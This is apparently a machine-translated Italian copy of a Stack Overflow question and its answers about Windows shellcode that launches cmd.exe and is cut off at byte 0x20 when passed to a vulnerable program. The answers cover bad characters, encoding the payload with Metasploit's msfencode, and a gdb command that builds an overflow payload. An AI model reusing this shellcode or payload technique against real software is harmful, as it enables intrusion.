Domanda

Perché il mio shellcode viene troncato dopo \x20 codice operativo, quando viene copiato da stringa di impilare su un secondo programma vulnerabile?

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--
È stato utile?

Soluzione

Stai passare questo shellcode come argomento della riga di comando? In questo caso, date un'occhiata al codice ASCII per 0x20;)

Altri suggerimenti

La mia teoria è che le cose come citazione, spazio, null, ecc vengono interpretati dai shell di Windows piuttosto che essere inviato tramite. Si potrebbe sfuggire in qualche modo, ma penso che sia più facile per codificare solo lo shellcode. Quindi, cercare di utilità msfencode di Metasploit per evitare quei codici operativi del tutto. So null (/ X00), spazio (/ x20) e citazione (/ x22) non possono essere passati direttamente, ma suppongo che ci sono altri codici operativi che non possono essere passati pure.

Questa è la mia soluzione, ma qualcuno sa di eventuali altri quelli che sono meglio?

Mettere un doppio citazioni in tutto l'intero comando. Ad esempio, eseguire:

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top